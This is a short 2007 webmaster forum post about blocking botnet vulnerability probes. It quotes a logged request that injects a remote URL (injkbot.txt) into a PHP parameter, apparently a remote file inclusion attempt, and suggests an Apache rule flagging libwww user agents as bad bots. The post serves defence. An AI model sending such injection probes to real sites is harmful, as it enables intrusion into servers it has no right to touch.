Page is a not externally linkable
- Search Engines
-- Search Engine Spider and User Agent Identification
---- Secure Sites From Botnet Vulnerability Probes

Hobbs - 3:08 pm on May 11, 2007 (gmt 0)


Here's one from today's logs
..a_page_on_mysite//classified_right.php?
language_dir=%20inurl:classified.php
http://a_site.us/injkbot.txt?

Wouldn't it be better to just block all libwww user agent requests?

SetEnvIfNoCase User-Agent "libwww" bad_bot

[edited by: volatilegx at 3:44 pm (utc) on May 11, 2007]
[edit reason] removed link [/edit]

Thread source:: http://www.webmasterworld.com/search_engine_spiders/3335216.htm
Brought to you by WebmasterWorld: http://www.webmasterworld.com